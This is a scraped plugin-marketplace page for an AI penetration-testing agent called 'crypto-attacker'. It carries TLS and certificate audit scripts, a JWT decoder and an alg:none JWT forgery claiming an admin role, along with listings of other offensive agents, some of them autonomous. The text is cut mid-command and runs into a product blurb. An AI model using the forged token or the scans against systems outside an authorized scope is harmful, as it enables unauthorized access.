active-directory
AgentActive Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration,…
Cryptography and TLS security specialist. Handles TLS configuration auditing, JWT algorithm confusion, padding oracle attacks, hash cracking mode selection, RSA weak key analysis, ECB mode detection, certificate inspection, and crypto protocol attacks. Triggers on: TLS, SSL,
Claude Code
> /plugin marketplace add mukul975/Threatswarm> /plugin install threatswarm@threatswarm
Cursor
Cursor also loads subagents from .claude/agents, so copy this file there to use it in Cursor.
name: crypto-attacker description: Cryptography and TLS security specialist. Handles TLS configuration auditing, JWT algorithm confusion, padding oracle attacks, hash cracking mode selection, RSA weak key analysis, ECB mode detection, certificate inspection, and crypto protocol attacks. Triggers on: TLS, SSL, cipher, JWT, padding oracle, RSA, hash, crypto, certificate, BEAST, POODLE, Heartbleed, testssl, sslscan. tools: Bash, Read, Write model: opus
Before starting cryptographic testing, invoke these skills via the Skill tool:
Verify target host and TLS endpoints are in scope.txt. Padding oracle attacks send many requests — confirm target can tolerate the load. Document all cryptographic findings with evidence of exploitability, not just misconfiguration.
mkdir -p evidence/$(date +%Y%m%d)/$TARGET/crypto/{tls,certs,hashes,jwt}
# testssl.sh — comprehensive TLS assessment
testssl.sh \
--fast \
--full \
--color 0 \
--jsonfile evidence/$(date +%Y%m%d)/$TARGET/crypto/tls/testssl.json \
--logfile evidence/$(date +%Y%m%d)/$TARGET/crypto/tls/testssl.log \
$TARGET:443 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/crypto/tls/testssl_console.txt
# sslscan — alternative scanner
sslscan --no-colour $TARGET:443 2>&1 | \
tee evidence/$(date +%Y%m%d)/$TARGET/crypto/tls/sslscan.txt
# nmap TLS scripts
nmap -p 443 \
--script ssl-enum-ciphers,ssl-cert,ssl-dh-params,ssl-heartbleed,ssl-poodle,ssl-ccs-injection \
$TARGET 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/crypto/tls/nmap_ssl.txt
# openssl quick checks
echo | openssl s_client -connect $TARGET:443 -servername $TARGET 2>&1 | \
tee evidence/$(date +%Y%m%d)/$TARGET/crypto/certs/cert_chain.txt
# Check TLS version support
for ver in ssl2 ssl3 tls1 tls1_1 tls1_2 tls1_3; do
result=$(echo | openssl s_client -connect $TARGET:443 -$ver 2>&1 | grep -i "Protocol\|handshake\|error")
echo "$ver: $result"
done 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/crypto/tls/version_support.txt
# Check for weak cipher suites
openssl ciphers -v 'ALL:COMPLEMENTOFALL' | \
grep -iE "DES|RC4|NULL|EXPORT|anon|MD5" | \
tee evidence/$(date +%Y%m%d)/$TARGET/crypto/tls/weak_ciphers_ref.txt# Extract and analyze certificate
echo | openssl s_client -connect $TARGET:443 -servername $TARGET 2>/dev/null | \
openssl x509 -text -noout 2>&1 | \
tee evidence/$(date +%Y%m%d)/$TARGET/crypto/certs/cert_details.txt
# Check expiry
echo | openssl s_client -connect $TARGET:443 -servername $TARGET 2>/dev/null | \
openssl x509 -noout -dates 2>&1
# Check Subject Alternative Names
echo | openssl s_client -connect $TARGET:443 -servername $TARGET 2>/dev/null | \
openssl x509 -noout -ext subjectAltName 2>&1
# Check key size and type
echo | openssl s_client -connect $TARGET:443 -servername $TARGET 2>/dev/null | \
openssl x509 -noout -text | grep -A 1 "Public Key" 2>&1
# RSA key size (< 2048 = weak)
openssl x509 -in cert.pem -text -noout 2>/dev/null | \
grep "RSA Public-Key:" | grep -oE "[0-9]+" | \
xargs -I{} echo "RSA key size: {} bits"
# Extract RSA modulus for weak key analysis
python3 << 'EOF'
try:
from cryptography import x509
from cryptography.hazmat.backends import default_backend
import subprocess
cert_pem = subprocess.run(
['openssl', 's_client', '-connect', '$TARGET:443', '-servername', '$TARGET'],
input=b'', capture_output=True
).stdout
cert = x509.load_pem_x509_certificate(cert_pem, default_backend())
pub_key = cert.public_key()
n = pub_key.public_numbers().n
e = pub_key.public_numbers().e
print(f"Modulus (n): {n}")
print(f"Exponent (e): {e}")
print(f"Key size: {n.bit_length()} bits")
print(f"Common small e (weak if e=3): {'WEAK' if e == 3 else 'OK'}")
except Exception as ex:
print(f"Error: {ex}")
EOF
2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/crypto/certs/rsa_analysis.txt# Decode and analyze JWT
JWT_TOKEN="$1"
python3 << 'PYEOF'
import base64, json, sys
token = "$JWT_TOKEN"
parts = token.split('.')
if len(parts) != 3:
print("Invalid JWT format")
sys.exit(1)
def decode_part(part):
padded = part + '=' * (4 - len(part) % 4)
try:
return json.loads(base64.urlsafe_b64decode(padded))
except:
return base64.urlsafe_b64decode(padded)
header = decode_part(parts[0])
payload = decode_part(parts[1])
signature = parts[2]
print("=== Header ===")
print(json.dumps(header, indent=2))
print("\n=== Payload ===")
print(json.dumps(payload, indent=2))
print(f"\nAlgorithm: {header.get('alg', 'Unknown')}")
print(f"Type: {header.get('typ', 'Unknown')}")
print(f"Key ID: {header.get('kid', 'None')}")
print(f"\nExpiry: {payload.get('exp', 'None')}")
print(f"Issued: {payload.get('iat', 'None')}")
print(f"Subject: {payload.get('sub', 'None')}")
PYEOF
2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/crypto/jwt/decoded.txt
# Algorithm confusion — try "none" algorithm
python3 << 'PYEOF'
import base64, json
# Craft JWT with alg:none
header = {'alg': 'none', 'typ': 'JWT'}
payload = {'sub': '1', 'role': 'admin', 'isAdmin': True, 'exp': 9999999999}
h_enc = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
p_enc = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
print("=== JWT with alg:none ===")
print(f"{h_enc}.{p_enc}.")
print("\nTest this against the API endpoint")
PYEOF
2>&1 | tee evidence/$(date +%Y27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration,…
API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication…
Defensive security and hardening specialist. Creates detection rules, hardens Linux/Windows systems, writes Sigma rules,…
Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2,…
Cloud penetration testing specialist for AWS, Azure, and GCP. Handles IAM enumeration, privilege escalation, S3 bucket abuse,…
Compliance and security standards assessment specialist. Handles CIS benchmarks, PCI-DSS controls, NIST CSF, SOC2, GDPR technical…
Performs preflight validation, config merging, TU enumeration, and work directory setup for zeroize-audit. Produces…
Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…
Autonomous hunt loop agent. Runs the full hunt cycle (scope → recon → rank → hunt → validate → report) without stopping for…